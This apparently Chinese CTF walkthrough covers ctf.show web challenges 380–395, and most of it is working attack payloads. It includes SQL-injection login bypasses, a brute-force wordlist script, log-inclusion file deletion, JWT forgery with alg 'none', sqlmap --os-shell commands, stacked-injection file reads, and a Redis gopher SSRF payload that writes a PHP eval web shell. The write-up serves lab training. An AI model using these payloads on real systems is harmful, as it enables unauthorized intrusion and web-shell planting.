web380
这里文章看的我好有感触
但是影响做题
扫描一下
访问flag.php
啥也没有再访问page.php
page.php?id=flag
web381
扫出来page.php
但是没啥用哇,查看源代码
这些文件挨个试发现啥也没,最后仔细对比发现其实都是layui
,然后尝试着访问alsckdfy
这就是后台地址,给你ctfshow{1b7d317f-8d64-4d72-ab67-cc059e937dd1}
web382
访问后台地址alsckdfy
直接爆破得到
web383
我是直接填的账号密码,至于账号为什么是admin我猜的
但是还有一种方法是万能密码
注入点在用户名
-1' or 1=1#
web384
密码前2位是小写字母,后三位是数字
这里写一个脚本
import string
s1=string.ascii_lowercase
s2=string.digits
f=open('dict.txt','w')
for i in s1:
for j in s1:
for k in s2:
for l in s2:
for m in s2:
p=i+j+k+l+m
f.write(p+"\n")
f.close()
然后爆破即可
密码是xy123
web385
扫后台
然后重置密码即可
web386
扫后台但是其实dirsearch自带的字典是没有的我们可以添加一下
访问clear.php然后发现并没有删除,原来是需要传参才可以删除
?file=./install/lock.dat
然后就可以正常操作了
web387
dirsearch -u https://3062a2c1-22a0-4ca2-a9b4-64c80c907965.challenge.ctf.show/ -w /home/kali/Desktop/dirsearch/db/dicc.txt
扫后台
访问debug提示没有file
?file=/etc/passwd
传参发现存在日志包含
?file=/var/log/nginx/access.log
直接UA写马发现不成功
还是把文件删除重置比较好
<?php unlink('/var/www/html/install/lock.dat')?>
然后重置密码
web388
和web387一样
web389
jwt加密的密文一般都是由两个点号分为三段的(三段分别为Header头部、Payload负载、Signature签名),并且前两段都以字符串"eyJ"开头
扫后台发现啥也没有
访问debug发现权限不足
密文:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNjIwMjA2OCwiZXhwIjoxNzE2MjA5MjY4LCJuYmYiOjE3MTYyMDIwNjgsInN1YiI6InVzZXIiLCJqdGkiOiJhNmQyNzUzYjMzMzBjZDllYmVlNWE2ZmJhNmVjMmMxZSJ9.CfY5KLl0Wb40LAsiOuUpm3bt1R4ydVSAbmvSV1YU44Y
import jwt
token = jwt.encode(
{
"iss": "admin",
"iat": 1716202068,
"exp": 1716209268,
"nbf": 1716202068,
"sub": "admin",
"jti": "ae90bdc9a931244e163fea13c5baae44"
},
algorithm="none",key=""
)
print(token.encode("utf-8").decode("utf-8"))
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNjIwMjA2OCwiZXhwIjoxNzE2MjA5MjY4LCJuYmYiOjE3MTYyMDIwNjgsInN1YiI6ImFkbWluIiwianRpIjoiYWU5MGJkYzlhOTMxMjQ0ZTE2M2ZlYTEzYzViYWFlNDQifQ.
更改cookie,重置密码就行了
web390
这里有个菜鸟往事点进来就可以知道注入点
sqlmap -u "https://3a6778b5-a20f-4f45-8dfe-5894324e19e8.challenge.ctf.show/page.php?id=1" --os-shell
--os-shell这个后缀是使得攻击者能够进行shell命令执行
所以还要加个命令 cat ./alsckdfy/check.php
web391
进入页面发现有标题搜索了随便搞一个拿到注入点
sqlmap -u "https://1fcf26d4-ec34-4e55-812a-179d3b47ace4.challenge.ctf.show/search.php?title=123" --os-shell
cat ./alsckdfy/check.php
web392
sqlmap -u "https://732e2119-769c-430c-9b45-2b9355d719f7.challenge.ctf.show/search.php?title=1" --os-shell
cat /flag
web393
堆叠注入
search.php?title=1';insert into link values (10,'a','file:///flag');#
然后访问link.php?id=10
web394
search.php?title=1';insert into link values (10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);#
16进制绕过
file:///var/www/html/alsckdfy/check.php
然后访问link.php?id=10
web395
可以和上题一样直接秒了
但是有另外一种方法就是
攻击radis服务
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Bcmd%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
由于网站限制255个字符我们先需要改一下限制
search.php?title=1';alter table link modify column url text;
将link限制的url为255个字符换成text就可以存更长的了
search.php?title=1';insert into link values(6,'a',0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c2530442530412532413325304425304125323433253044253041736574253044253041253234312530442530413125304425304125323433302530442530412530412530412533432533467068702532306576616c2532382532345f504f5354253542636d642535442532392533422533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431332530442530412f7661722f7777772f68746d6c2530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234392530442530417368656c6c2e706870253044253041253241312530442530412532343425304425304173617665253044253041253041);
然后访问link.php?id=6可能会访问不成功但是此时已经生成了shell.php
密码是cmd
POST:
cmd=system('cat /var/www/html/alsckdfy/check.php');